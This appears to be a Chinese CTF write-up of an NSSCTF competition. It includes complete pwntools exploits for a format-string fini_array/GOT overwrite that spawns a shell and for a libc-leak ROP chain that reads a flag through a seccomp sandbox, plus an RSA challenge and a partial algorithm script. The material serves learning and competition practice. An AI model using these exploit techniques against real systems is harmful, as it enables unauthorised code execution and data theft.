• 这里只记录我复现的和我写的题目,没记录出来的要不然是队友写的要不然是没复现的

初赛

PWN

Just_0nce

  • 拿到附件,先查看保护机制

image-20240920163929034

  • 发现开启了Canary保护机制
  • 然后再使用IDA反编译

image-20240920164010349

  • 发现是格式化字符串漏洞,而且是只能打一次的格式化字符串漏洞
  • 那就直接打fini_array,第一次先改printf的got表为system的plt,改fini_arraymain_adrr,这样就可以执行两次main函数
  • fini_array的地址在IDA中使用CTRL + S,会跳出界面,跳出来后就可以看到了

image-20240920191036360

  • 第二次再传入字符串/bin/sh这样就可以得到shell
  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch = 'amd64',log_level='debug')
#p = process('./attachment')
p = remote('node8.anna.nssctf.cn',21181)
#elf = ELF('./attachment')
#rop = ROP('./attachment')
main_adrr = 0x401366
printf_got = 0x4033F0
system_plt = 0x4010C0
fini_array = 0x4031D8
dofunc = 0x40127E
payload = fmtstr_payload(6, {fini_array :dofunc , printf_got:system_plt})
p.sendafter(b'input:\n',payload)
p.sendafter(b'input:\n',b"/bin/sh\x00")
p.interactive()

复现flagNSSCTF{51461c79-beac-49e4-bfd0-fea257d1b20f}

image-20240920180724276

Ez__PWN

  • 先查看保护机制,发现就开了个NX保护

image-20240920164624426

  • 然后再使用IDA反编译查看一下代码,发现开了沙箱,猜测是orw

image-20240920164711325

  • 在查看dofunc里面的函数,看到里面有栈溢出

image-20240920164737882

  • 一开始以为是ret2libc,看到沙箱后是orw,而且在进行orw前还要泄露libc的地址,以便获取open的地址
  • 现在先查看一下沙箱,使用seccomp-tools查看,果然只有open、read、write,但是open是允许openat,如果是允许open的话是要用Syscall的

image-20240920165122384

  • 先泄露libc,libc版本可以去libc-database这里面找,再进行orw,进行orw的时候,要先写入open的got表在bss段才能进行调用,注意一些open传入open的三个参数,还有注意fd文件说明符,0x0是标准输入,0x1是标准输出,0x2是标准错误,所以open打开的文件描述符是0x3,open的第三个参数256是表示文件被打开为只读和只写的组合(这里尝试过只读0x0调用,但是没成功)
  • exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
context(log_level='debug')
p = remote('node8.anna.nssctf.cn',20367)
#p = process('./ezpwn')
#gdb.attach(p)
ret = 0x4006ce
pop_rdi = 0x400a13
read_got = 0x601040
write_got = 0x601028
syscall_offset = 0x118940
pop_rbx_rbp_r12 = 0x400A0A
bss_addr = 0x601060+0x200
dofunc = 0x400921
mov_rdx = 0x4009F0
pop_rsi_r15 = 0x400a11
print_got = 0x601038
read_offset = 0x10e1e0

payload = b'A'*0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(0x400720)+p64(ret)+p64(dofunc)
p.sendlineafter(b'input name:',payload)
read_addr = p.recvuntil(b'\x40')
read_addr = p.recv()
read_addr = p.recv()[:6]
print('read_addr ------>', read_addr)
read_addr = int.from_bytes(read_addr,byteorder='little')
libc_addr = read_addr - read_offset
open_addr = libc_addr + 0x10DF00
payload1 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(read_got)
payload1+=p64(0x0)+ p64(bss_addr)+p64(0x20)+p64(mov_rdx) +p64(0xdeaddeff)
payload1+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)
payload1+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc)
p.sendline(payload1)
p.send(b'./flag\x00\x00'+p64(open_addr))
#pause()
payload2 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(bss_addr+0x8)
payload2+=p64(bss_addr)+ p64(0x00)+p64(256)+p64(mov_rdx) +p64(0xdeaddeff)
payload2+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)
payload2+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc)
p.sendlineafter(b'input name:',payload2)

#pause()
payload3 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(read_got)
payload3+=p64(0x03)+ p64(bss_addr+0x100)+p64(0x100)+p64(mov_rdx) +p64(0xdeaddeff)
payload3+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)
payload3+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc)
p.sendlineafter(b'input name:',payload3)
#pause()
payload4 = b'a'*0x10 + p64(pop_rbx_rbp_r12) + p64(0x0) + p64(0x1) +p64(write_got)
payload4+=p64(0x01)+ p64(bss_addr+0x100)+p64(0x100)+p64(mov_rdx) +p64(0xdeaddeff)
payload4+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)+p64(0xdeaddeff)
payload4+=p64(0xdeaddeff)+p64(0xdeaddeff)+p64(dofunc)
p.sendlineafter(b'input name:',payload4)
p.interactive()

复现flagNSSCTF{5c4794ae-547e-47c2-842f-0441bd494802}

image-20240920180447222

CRYPTO

ez_fermat

  • 简单的n分解

  • 题目附件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Util.number import *

p = getPrime(1024)
q = getPrime(813)
n = p * q
d = p
e = inverse(d, (p-1)*(q-1))
flag = b'NSSCTF{test_flag}'
m = bytes_to_long(flag)

print(n)
print()
print(e)
print()
print(pow(m, e, n))
'''
3904054379768621006670325403570678966655298185942026071119847032293541155818374237757771677885218395571231995625009566193044227004214661252741440763224075564545575267406326084344024197161667257443366163987563451174836819677982948383967049594961135059796888603091106117040559333549933923156522162926214187395074971581109581699786654634096916190024297067217856502521108656019066292650847674105723870976455422998577177791829507752873186832882421485628003948270492309102429874674621180956748281541598316433735992507502375267828628254040129556944239703219983

3346908455447174070992347616941127803725226412626643481301959623252314393488983877743239835001359838967907152394787518896740138558902876270534420306764838402995141451795721684856954259250045263865518237097216558225597879130005447703355004165638668981119439658709484546611239237700677748062521167324245405513546072909746940831890185954341722008854937777778339786187857409646068034455661780649005707291091511164030224458109751999287771088477121459794784223018351072171477613383398898036040202088356029117418211176259340287391200019380649219787316637601225

2297172673207318067644454311791059052521405524072070001463617943081937620680287073877519555417893924987805372814004437226029332185689205902364556330396100859963867726856821821201929153299863158902425114650689181400700850662495351899097507167512372167222348638943031627163322963150031484905075884684966357856735997039021272911282595603222713567742142545540368250995582560658624441813641267178033998653769097632742521154569310435572740012678651074392991522280691458449892215626597146075598152312643598829814235896873342805258450617148747956353285414172796'''

  • 推导过程

决赛

PWN

水果忍者(复现)

  • 考的是httpd的题目,复现完单独写了个博客(处于加密状态),这里就不再写了

A Study in Scarlet

  • 考的是C++STL的pwn,STL全称为(Standard Template Library,标准模板库),我还没学过C++,但是有点Java基础和C的基础可以试试

MISC

Algorithm(复现)

  • 算法+pwntools的使用
  • pwntools会用,但是不会算法,用AI跑的算法会出错QAQ,Pwntools接收过程先不给出
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context(log_level='debug')
p = remote('node4.anna.nssctf.cn',28804)
p.recvuntil(b'Mode:')
p.sendline(b'1')

def change2U(s):
N = len(s)
k, n2 = 0, 0
for i in range(3, N):
if (N - i) % 2 != 0:
continue
k = (N + 2 - i) // 2
if k <= i:
n2 = N + 2 - 2 * k
break
result = []
for idx in range(k - 1):
result.append(s[idx] + '@' + str(n2 - 2) + '@' + s[N - idx - 1])
result.append(s[k - 1:k - 1 + n2])
output = '|'.join(result)
return output